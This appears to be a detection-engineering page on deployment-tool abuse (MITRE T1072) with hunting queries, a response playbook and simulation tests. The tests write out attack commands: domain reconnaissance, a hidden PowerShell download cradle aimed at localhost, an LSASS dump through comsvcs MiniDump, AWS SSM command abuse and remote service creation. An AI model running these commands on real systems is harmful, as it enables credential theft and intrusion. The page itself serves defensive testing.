Expected signal: Sysmon Event ID 1: cmd.exe with CommandLine containing 'whoami /all', 'net user /domain', 'nltest /domain_trusts', and 'net localgroup administrators'. Security Event ID 4688 (with command line auditing enabled) showing the full command chain. Each net.exe/nltest.exe subprocess also generates its own Event ID 1.
Test 2Simulate Hidden PowerShell Execution with Download Cradle via Deployment Context
Expected signal: Sysmon Event ID 1: powershell.exe with CommandLine containing '-ExecutionPolicy Bypass', '-WindowStyle Hidden', '-NoProfile', '-NonInteractive', 'Net.WebClient', and 'DownloadString'. Sysmon Event ID 3: Network Connection attempt to 127.0.0.1:9999 (connection refused). PowerShell ScriptBlock Log Event ID 4104 with full script content.
Test 3Simulate Credential Staging via Deployment Tool (comsvcs MiniDump)
Expected signal: Sysmon Event ID 1: powershell.exe with CommandLine referencing 'comsvcs.dll' and 'MiniDump'. Sysmon Event ID 1 child: rundll32.exe with CommandLine 'comsvcs.dll, MiniDump <PID>'. Sysmon Event ID 10: Process Access event targeting lsass.exe with GrantedAccess 0x1FFFFF. Security Event ID 4656: Handle request to lsass.exe. EDR should generate a LSASS credential access alert independently.
Test 4Simulate AWS SSM Run Command Abuse
Expected signal: AWS CloudTrail: EventName=SendCommand, EventSource=ssm.amazonaws.com, with userIdentity.arn of the calling principal, sourceIPAddress of the attacker host, and requestParameters.documentName=AWS-RunShellScript. SSM agent log on target instance: /var/log/amazon/ssm/amazon-ssm-agent.log shows command receipt. CloudWatch Logs (if configured): command output stored at the configured S3 output bucket.
Test 5Simulate Lateral Movement via Deployment Tool (Remote Service Installation)
Expected signal: Sysmon Event ID 1: cmd.exe with CommandLine containing 'sc \\127.0.0.1 create' and service binary path. Security Event ID 7045 (System log): New service 'df00tech_test_svc' installed on the system. Security Event ID 4697: A service was installed in the system (if service installation auditing is enabled). Security Event ID 4624: Logon event for the remote connection authentication.

Response Playbook

Triage

Identify which deployment tool agent spawned the suspicious process — is this an authorized and known platform (SCCM, Intune, BigFix) or an unusual/unauthorized tool (RemoteExec, RAdmin, unknown PDQ installation)? Check the full path of the parent image against expected installation directories.
Cross-reference with the deployment tool's administrative console for a corresponding authorized job matching the timestamp: SCCM — Software Center > Deployment Status, or query WMI SMS_ClientOperations; BigFix — Fixlet/Task history in BigFix console; PDQ Deploy — Deployment log in PDQ console; Intune — Azure portal > Devices > Configuration profiles > Assignment status.
Determine the blast radius — how many devices show this same parent-child chain? Query: summarize UniqueDevices=dcount(DeviceName) by ProcessCommandLine over the incident window. A single-host execution may indicate targeted compromise; identical execution across 10+ hosts simultaneously indicates mass deployment attack or ransomware pre-positioning.
Review the AccountName and InitiatingProcessAccountName — is the deployment agent running as SYSTEM, NT AUTHORITY\NETWORK SERVICE, or an unexpected named account? Deployment agents running recon commands as SYSTEM with no corresponding change ticket are highly suspicious.
Decode and analyze the full command line if encoded. For Base64 PowerShell: [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('<payload>')); for certutil-decoded content: certutil -decode <encoded_file> <output_file>.
Check DeviceNetworkEvents for concurrent outbound connections from the suspicious child process PID — connections from cmd.exe or PowerShell to public IPs immediately after spawning from a deployment agent indicate active C2 communication.
Review the InitiatingProcessCommandLine for a deployment job identifier (SCCM Program GUID, BigFix Fixlet ID, PDQ package name). Cross-reference this identifier with the deployment platform's job history to determine if the job was authorized and who created it.

Containment

If unauthorized activity confirmed: immediately suspend all active deployment jobs in the compromised platform — SCCM: disable the affected deployment collection and revoke the Software Distribution point assignment; BigFix: stop the active Fixlet action; PDQ Deploy: cancel the active deployment and revoke package; Intune: remove the PowerShell script assignment from all device groups.
Revoke and rotate all service account credentials used by the deployment platform — SCCM Network Access Account, SCCM service account, BigFix relay credentials, PDQ service account — as these may have been extracted by the attacker to enable the compromise.
Isolate the deployment management server itself from the network using EDR isolation or an emergency firewall rule if the server shows signs of compromise (unauthorized logins, new jobs created outside business hours, admin credentials used from unknown IPs). This prevents further command distribution to enrolled endpoints.
For mass deployment scenarios impacting more than 10 hosts: implement emergency ACLs blocking lateral SMB/RPC communication between endpoints; engage incident response team immediately for large-scale containment; do not attempt individual host isolation for >50 hosts — network-level segmentation is more effective.
Revoke admin shares (net share ADMIN$ /delete) on affected endpoints if lateral movement via UNC paths was observed in command line arguments. Reset KRBTGT password twice if domain controller access is suspected.
For AWS SSM abuse: revoke the IAM role or instance profile granting ssm:SendCommand permissions; review and terminate active SSM Session Manager sessions via aws ssm describe-sessions --state Active; audit and tighten IAM policies on all instance profiles that include SSM permissions.

Evidence Collection

Deployment tool database/logs — SCCM: query WMI class SMS_ClientOperations and SMS_StatusMessage on site server (\\<site_server>\root\ccm); execmgr.log on affected clients (C:\Windows\CCM\Logs\execmgr.log); BigFix: query BigFix database for recent fixlet executions by affected client; PDQ Deploy: export C:\ProgramData\Admin Arsenal\PDQ Deploy\Database.db (SQLite) for full deployment history.
Process creation events — Sysmon Event ID 1 in Microsoft-Windows-Sysmon/Operational showing the complete parent-child process chain from the deployment agent through all spawned processes, including the full CommandLine and MD5/SHA256 hash of each binary.
Command line arguments via Security audit — Security Event ID 4688 (requires 'Include command line in process creation events' audit policy enabled) for all processes created during the incident window; provides an independent data source corroborating Sysmon telemetry.
Network connections — Sysmon Event ID 3 for all outbound connections made by processes spawned from deployment agents; correlate remote IPs against known-good vendor update servers vs. unrecognized infrastructure. Pull NetFlow/firewall logs for the management server showing connections to all enrolled endpoints.
File creation events — Sysmon Event ID 11 for executables, DLLs, scripts, or archives written to disk by deployment agent child processes; focus on TEMP (C:\Windows\Temp, %APPDATA%\Local\Temp), ProgramData, and AppData directories as staging locations.
PowerShell transcript and script block logs — Event ID 4104 in Microsoft-Windows-PowerShell/Operational for deobfuscated script content executed through the deployment platform; Event ID 4103 for pipeline execution details.
AWS SSM audit trail — CloudTrail events for ssm:SendCommand, ssm:StartSession, ssm:GetCommandInvocation API calls; include source IP, IAM principal (UserIdentity.arn), command document name, and output S3 bucket location where command results were stored.
Intune audit logs — Azure Active Directory > Audit logs filtered for Microsoft Intune service; specifically 'Run device action' and 'Create deviceManagementScript' events in the incident timeframe with actor identity and script content hash.

Escalation Criteria

! Mass deployment confirmed — the same suspicious command or binary executed across 10 or more hosts within a 60-minute window, indicating automated network-wide propagation consistent with ransomware pre-deployment (Medusa Group pattern using BigFix/PDQ).
! Credential access detected — deployment tool child process accessing LSASS memory, procdump output files created, or command lines containing mimikatz, sekurlsa, or comsvcs MiniDump patterns. Treat as confirmed breach requiring immediate IR escalation.
! Deployment management server compromised — evidence of unauthorized console logins, new unauthorized deployment jobs created (especially outside business hours), admin credentials used from geographic locations inconsistent with your workforce, or new operator/admin accounts created in the deployment platform.
! Persistence established at scale — new scheduled tasks, Windows services, or HKLM registry Run keys created via the deployment platform across multiple endpoints, indicating the attacker is attempting to maintain access beyond the deployment tool itself.
! Data exfiltration indicators — deployment agent child processes making outbound connections to non-corporate public IPs on ports 443 or 80 with sustained data transfer, particularly from file servers or data repositories.
! Lateral movement to critical assets — deployment commands specifically targeting domain controllers, Active Directory, financial systems, backup servers, or security tools (EDR servers, SIEM), indicating targeted attack beyond opportunistic ransomware.
! Cloud deployment tool abuse with IAM compromise — SSM, Azure Arc, or GCP Deployment Manager used from an IAM/Azure AD identity with anomalous login behavior (impossible travel, unfamiliar device, MFA push fatigue indicators) against production infrastructure.

Investigation Guide

Forensic Artifacts

> SCCM client: C:\Windows\CCM\Logs\execmgr.log — program execution history with package IDs, execution status, and timestamps; C:\Windows\CCM\Logs\CcmExec.log — agent activity; WMI root\ccm\clientsdk:CCM_SoftwareBase for installed software history
> BigFix client: C:\Program Files (x86)\BigFix Enterprise\BES Client\__BESData\ — local fixlet cache and download history; Windows Event Log: BigFix-BESClient entries in Application log with fixlet IDs and execution results
> PDQ Deploy: %ProgramData%\Admin Arsenal\PDQ Deploy\Database.db — SQLite database with complete deployment history, command output, and target computer lists; exportable via PDQ console or sqlite3 CLI
> Intune: C:\ProgramData\Microsoft\IntuneManagementExtension\Logs\IntuneManagementExtension.log — PowerShell script execution log with script name, execution result, and output; Azure AD Audit Logs for deviceManagementScript events
> AWS SSM: C:\ProgramData\Amazon\SSM\Logs\amazon-ssm-agent.log (Windows) or /var/log/amazon/ssm/amazon-ssm-agent.log (Linux) — command receipt and execution; CloudTrail S3 bucket for ssm:SendCommand events; output stored in S3 at s3://<OutputS3BucketName>/ssm-output/
> RAdmin: Windows Event Log Application events from Famatech RAdmin service; HKLM\SYSTEM\CurrentControlSet\Services\RServer3 registry key for service configuration and authorized IPs; C:\Windows\SysWOW64\rserver30\ for server binary and config files
> Process creation: Sysmon Event ID 1 (parent-child chain), Sysmon Event ID 8 (CreateRemoteThread if process injection occurred from deployment agent context), Sysmon Event ID 10 (ProcessAccess if LSASS was targeted)
> Prefetch: C:\Windows\Prefetch\CCMEXEC.EXE-*.pf, BESCLIENT.EXE-*.pf, INTUNEMANAGEMENTEXTENSION.EXE-*.pf — execution timestamps and loaded DLLs for deployment agents; enumerate using WinPrefetchView or strings on raw .pf files
> Network: NetFlow or firewall logs showing connections FROM the management server to all enrolled endpoints (identifying initial command distribution) and FROM endpoints to external IPs (identifying C2 or exfiltration destinations)

Tuning Guidance

The core tuning challenge for T1072 is the high legitimate activity volume from deployment tools. Start by profiling your environment's baseline: for SCCM, extract all active deployment Program GUIDs and script names from the site database — authorized programs appear in ccmexec.exe command lines as known GUIDs; create a watchlist lookup and exclude matching GUIDs. For BigFix, document the Fixlet IDs used by your operations team and exclude these from the detection. For PDQ Deploy, allowlist by deployment package name appearing in PDQDeployRunner.exe command lines. Build command-line allowlists for recurring legitimate patterns such as SCCM software inventory scans, BigFix compliance checks, and Intune hardware inventory collection — these generate high-volume false positives on a schedule. For the mass deployment hunting query, calibrate the UniqueDevices threshold against your smallest authorized deployment collection: if your smallest ring is 8 devices, set the threshold to 10. Enforce zero-tolerance for credential access patterns (lsass, procdump, mimikatz) and DownloadAttempt patterns from deployment agents — these should never occur in authorized deployments and are reliable high-fidelity indicators. For cloud environments, implement AWS SCPs or Azure Policy restricting which SSM command documents can be run (e.g., block AWS-RunShellScript and only allow curated, approved documents), and enable CloudTrail alerting on ssm:SendCommand from any identity other than approved IAM roles. Consider deploying SCCM script approval workflows and BigFix operator permission levels to reduce blast radius if a deployment credential is compromised.

Hunting Queries

Hunt for identical commands deployed by deployment tool agents across 5 or more distinct devices — a primary indicator differentiating mass malicious deployment from single-host compromise. Legitimate admin deployments follow controlled rollout schedules; adversary deployments push to all enrolled endpoints simultaneously. Tune the UniqueDevices threshold based on your smallest authorized deployment ring size.

Hunting — KQL

kql

DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName has_any ("ccmexec.exe", "besclient.exe", "PDQDeployRunner.exe", "AeXNSAgent.exe", "IntuneManagementExtension.exe", "amazon-ssm-agent.exe", "RemoteExec.exe", "radmin.exe")
| where FileName has_any ("cmd.exe", "powershell.exe", "pwsh.exe", "wscript.exe", "cscript.exe")
| summarize
    CommandCount = count(),
    UniqueDevices = dcount(DeviceName),
    FirstSeen = min(Timestamp),
    LastSeen = max(Timestamp),
    SampleCommands = make_set(ProcessCommandLine, 5)
    by InitiatingProcessFileName, ProcessCommandLine
| where UniqueDevices >= 5
| sort by UniqueDevices desc

Hunting — SPL

spl

index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
    (ParentImage="*\\ccmexec.exe" OR ParentImage="*\\besclient.exe" OR ParentImage="*\\PDQDeployRunner.exe"
     OR ParentImage="*\\AeXNSAgent.exe" OR ParentImage="*\\IntuneManagementExtension.exe"
     OR ParentImage="*\\amazon-ssm-agent.exe" OR ParentImage="*\\RemoteExec.exe" OR ParentImage="*\\radmin.exe")
    (Image="*\\cmd.exe" OR Image="*\\powershell.exe" OR Image="*\\wscript.exe" OR Image="*\\cscript.exe")
| stats count as CommandCount, dc(host) as UniqueDevices, earliest(_time) as FirstSeen, latest(_time) as LastSeen, values(CommandLine) as SampleCommands by ParentImage, CommandLine
| where UniqueDevices >= 5
| sort - UniqueDevices

Hunt for deployment agents writing executables or scripts to temporary and user-writable directories. Legitimate deployment tools install software to standard program directories (Program Files, ProgramData vendor subdirectories). Adversaries staging payloads through compromised deployment platforms typically drop binaries to TEMP or Windows\Temp directories to avoid detection. Submit SHA256 hashes to threat intelligence platforms.

Hunting — KQL

kql

DeviceFileEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName has_any ("ccmexec.exe", "besclient.exe", "PDQDeployRunner.exe", "IntuneManagementExtension.exe", "amazon-ssm-agent.exe", "RemoteExec.exe")
| where ActionType == "FileCreated"
| where FolderPath has_any ("\\temp\\", "\\tmp\\", "\\programdata\\", "\\appdata\\local\\temp\\", "\\windows\\temp\\")
| where FileName endswith ".exe"
    or FileName endswith ".dll"
    or FileName endswith ".ps1"
    or FileName endswith ".bat"
    or FileName endswith ".vbs"
    or FileName endswith ".hta"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, SHA256,
          InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc

Hunting — SPL

spl

index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
    (Image="*\\ccmexec.exe" OR Image="*\\besclient.exe" OR Image="*\\PDQDeployRunner.exe"
     OR Image="*\\IntuneManagementExtension.exe" OR Image="*\\amazon-ssm-agent.exe" OR Image="*\\RemoteExec.exe")
    (TargetFilename="*\\temp\\*" OR TargetFilename="*\\tmp\\*" OR TargetFilename="*\\programdata\\*" OR TargetFilename="*\\appdata\\local\\temp\\*")
    (TargetFilename="*.exe" OR TargetFilename="*.dll" OR TargetFilename="*.ps1" OR TargetFilename="*.bat" OR TargetFilename="*.vbs" OR TargetFilename="*.hta")
| table _time, host, Image, TargetFilename, Hashes, CommandLine
| sort - _time

Hunt for deployment tool agents making outbound connections to unexpected public IPs or domains not associated with known vendor infrastructure. This catches the AWS SSM-as-RAT pattern (Mitiga advisory) where an abused SSM agent beacons to adversary-controlled infrastructure, and SCCM/BigFix agents that have been weaponized to communicate with C2 servers. Build and maintain an allowlist of vendor CDN and update server IPs specific to your environment.

Hunting — KQL

kql

DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName has_any ("ccmexec.exe", "besclient.exe", "PDQDeployRunner.exe", "IntuneManagementExtension.exe", "amazon-ssm-agent.exe", "radmin.exe", "RemoteExec.exe")
| where RemoteIPType == "Public"
| where not (RemoteUrl has_any ("microsoft.com", "windowsupdate.com", "amazonaws.com", "bigfix.com", "hclsoftware.com", "pdq.com", "admin-arsenal.com", "symantec.com", "broadcom.com"))
| summarize
    Connections = count(),
    UniqueIPs = dcount(RemoteIP),
    Ports = make_set(RemotePort),
    Domains = make_set(RemoteUrl, 5)
    by DeviceName, InitiatingProcessFileName, RemoteIP
| sort by Connections desc

Hunting — SPL

spl

index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
    (Image="*\\ccmexec.exe" OR Image="*\\besclient.exe" OR Image="*\\PDQDeployRunner.exe"
     OR Image="*\\IntuneManagementExtension.exe" OR Image="*\\amazon-ssm-agent.exe"
     OR Image="*\\radmin.exe" OR Image="*\\RemoteExec.exe")
    NOT (DestinationHostname="*microsoft.com" OR DestinationHostname="*windowsupdate.com"
         OR DestinationHostname="*amazonaws.com" OR DestinationHostname="*bigfix.com"
         OR DestinationHostname="*pdq.com" OR DestinationHostname="*symantec.com")
    NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="172.17.*"
         OR DestinationIp="172.18.*" OR DestinationIp="172.19.*" OR DestinationIp="172.20.*"
         OR DestinationIp="172.21.*" OR DestinationIp="172.22.*" OR DestinationIp="172.23.*"
         OR DestinationIp="172.24.*" OR DestinationIp="172.25.*" OR DestinationIp="172.26.*"
         OR DestinationIp="172.27.*" OR DestinationIp="172.28.*" OR DestinationIp="172.29.*"
         OR DestinationIp="172.30.*" OR DestinationIp="172.31.*"
         OR DestinationIp="192.168.*" OR DestinationIp="127.*")
| stats count as Connections, dc(DestinationIp) as UniqueIPs, values(DestinationPort) as Ports, values(DestinationHostname) as Domains by host, Image, DestinationIp
| sort - Connections

Atomic Red Team Tests

Test 1 Simulate Malicious Reconnaissance via Deployment Tool Child Process

windows

Simulates the reconnaissance phase executed through a compromised deployment tool agent — the initial step observed in attacks like Threat Group-1314 (Altiris) and APT32 (McAfee ePO). Runs domain and privilege enumeration commands that would appear as suspicious child process activity from a deployment agent. In a real attack, the ParentImage would be ccmexec.exe or besclient.exe; this test generates equivalent command-line telemetry to validate detection logic.

Command

powershell

cmd.exe /c "whoami /all & net user /domain & net group \"Domain Admins\" /domain & nltest /domain_trusts & net localgroup administrators"

Expected Telemetry

Sysmon Event ID 1: cmd.exe with CommandLine containing 'whoami /all', 'net user /domain', 'nltest /domain_trusts', and 'net localgroup administrators'. Security Event ID 4688 (with command line auditing enabled) showing the full command chain. Each net.exe/nltest.exe subprocess also generates its own Event ID 1.

Expected Detection

KQL: ReconActivity=true. SPL: ReconActivity=1, RiskScore >= 1. For full parent-process fidelity, run this via a real SCCM script deployment or use Process Hacker (Tools > Create Process > specify ccmexec.exe as parent) to spoof the initiating process.

Test 2 Simulate Hidden PowerShell Execution with Download Cradle via Deployment Context

windows

Simulates a malicious PowerShell script deployed through a compromised deployment platform using the combined indicators observed in Medusa Group ransomware pre-positioning: hidden window, execution policy bypass, and a download cradle. The download target is localhost to keep the test safe — the connection will fail but all process creation telemetry fires normally. Exercises DownloadAttempt, EncodedCmd, and HiddenExec detection flags simultaneously.

Command

powershell

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonInteractive -Command "$wc = New-Object Net.WebClient; try { $wc.DownloadString('http://127.0.0.1:9999/payload') } catch { Write-Output '[Test] Connection refused - expected in safe test environment' }"

Expected Telemetry

Sysmon Event ID 1: powershell.exe with CommandLine containing '-ExecutionPolicy Bypass', '-WindowStyle Hidden', '-NoProfile', '-NonInteractive', 'Net.WebClient', and 'DownloadString'. Sysmon Event ID 3: Network Connection attempt to 127.0.0.1:9999 (connection refused). PowerShell ScriptBlock Log Event ID 4104 with full script content.

Expected Detection

KQL: DownloadAttempt=true, HiddenExec=true. SPL: DownloadAttempt=1 + HiddenExec=1, RiskScore >= 5. Multiple high-weight indicators fire simultaneously, indicating high-confidence malicious deployment activity.

Test 3 Simulate Credential Staging via Deployment Tool (comsvcs MiniDump)

windows

Simulates an adversary using deployment tool access to dump LSASS memory via the built-in comsvcs.dll MiniDump technique — a fileless alternative to procdump observed in post-deployment credential harvesting. This technique requires no additional tooling beyond what is already present on Windows systems. Modern EDR will block the actual dump; the process creation telemetry and command pattern will still fire detection rules. Run in an isolated test environment only.

Command

powershell

powershell.exe -ExecutionPolicy Bypass -Command "$lsassPid = (Get-Process lsass).Id; rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid $env:TEMP\lsass_test.dmp full 2>&1; Write-Output \"[Test] MiniDump attempted - EDR should have blocked or flagged this\""

Cleanup

powershell

Remove-Item "$env:TEMP\lsass_test.dmp" -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: powershell.exe with CommandLine referencing 'comsvcs.dll' and 'MiniDump'. Sysmon Event ID 1 child: rundll32.exe with CommandLine 'comsvcs.dll, MiniDump <PID>'. Sysmon Event ID 10: Process Access event targeting lsass.exe with GrantedAccess 0x1FFFFF. Security Event ID 4656: Handle request to lsass.exe. EDR should generate a LSASS credential access alert independently.

Expected Detection

KQL: CredentialAccess=true (comsvcs + lsass pattern). SPL: CredentialAccess=1, RiskScore=5. Highest-priority alert category — escalate immediately regardless of other context.

Test 4 Simulate AWS SSM Run Command Abuse

linux

Simulates an adversary abusing AWS Systems Manager Run Command to execute reconnaissance commands on EC2 instances — the technique documented in the Mitiga security advisory on SSM Agent as Remote Access Trojan. Sends a benign command (hostname, id, uname) to instances tagged with 'Environment:test'. Requires AWS CLI configured with credentials holding ssm:SendCommand permission. Validates CloudTrail logging and any SIEM detections built on SSM API activity.

Command

bash

aws ssm send-command --document-name "AWS-RunShellScript" --parameters '{"commands":["hostname","id","uname -a","cat /etc/os-release"]}' --targets '[{"Key":"tag:Environment","Values":["test"]}]' --region us-east-1 --comment "df00tech-atomic-test-T1072" --output json

Expected Telemetry

AWS CloudTrail: EventName=SendCommand, EventSource=ssm.amazonaws.com, with userIdentity.arn of the calling principal, sourceIPAddress of the attacker host, and requestParameters.documentName=AWS-RunShellScript. SSM agent log on target instance: /var/log/amazon/ssm/amazon-ssm-agent.log shows command receipt. CloudWatch Logs (if configured): command output stored at the configured S3 output bucket.

Expected Detection

CloudTrail-based SIEM rule: alert on ssm:SendCommand from IAM principals not in an approved list or from unexpected source IPs. If MDE covers EC2 Linux: DeviceProcessEvents showing amazon-ssm-agent spawning /bin/sh with command content. The --comment field 'df00tech-atomic-test-T1072' appears in CloudTrail requestParameters.comment for test identification.

Test 5 Simulate Lateral Movement via Deployment Tool (Remote Service Installation)

windows

Simulates the lateral movement phase following deployment tool compromise — an adversary using sc.exe to install a malicious service on a remote host, a pattern observed after obtaining SYSTEM-level execution through deployment platforms. Uses localhost as the target to keep the test safe. Exercises the PersistenceAttempt detection flag and the sc create command pattern associated with ransomware pre-positioning.

Command

powershell

cmd.exe /c "sc \\\\127.0.0.1 create df00tech_test_svc binPath= \"C:\\Windows\\System32\\calc.exe\" DisplayName= \"Windows Test Service\" start= demand 2>&1 && sc \\\\127.0.0.1 delete df00tech_test_svc 2>&1"

Cleanup

powershell

sc \\127.0.0.1 delete df00tech_test_svc 2>nul

Expected Telemetry

Sysmon Event ID 1: cmd.exe with CommandLine containing 'sc \\127.0.0.1 create' and service binary path. Security Event ID 7045 (System log): New service 'df00tech_test_svc' installed on the system. Security Event ID 4697: A service was installed in the system (if service installation auditing is enabled). Security Event ID 4624: Logon event for the remote connection authentication.

Expected Detection

KQL: PersistenceAttempt=true ('sc create' pattern). SPL: PersistenceAttempt=1, RiskScore >= 4. Additional Windows Security log alert: Event ID 7045 for new service installation. This combination — deployment agent context + remote service creation — is a strong indicator of network-wide ransomware deployment preparation.

What is T1072 Software Deployment Tools?

MITRE ATT&CK

Data Sources

Required Tables

False Positives

Data Sources

Required Sourcetypes

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Sigma rule & cross-platform mapping

Platform-specific guides for T1072

Testing Methodology

Response Playbook

Triage

Containment

Evidence Collection

Escalation Criteria

Investigation Guide

Forensic Artifacts

Tuning Guidance

Hunting Queries

Atomic Red Team Tests

Command

Expected Telemetry

Expected Detection

Command

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Related Detections

Tactic Hubs

Related Techniques

Same Tactic: Execution

Popular Detections

Get new detections in your inbox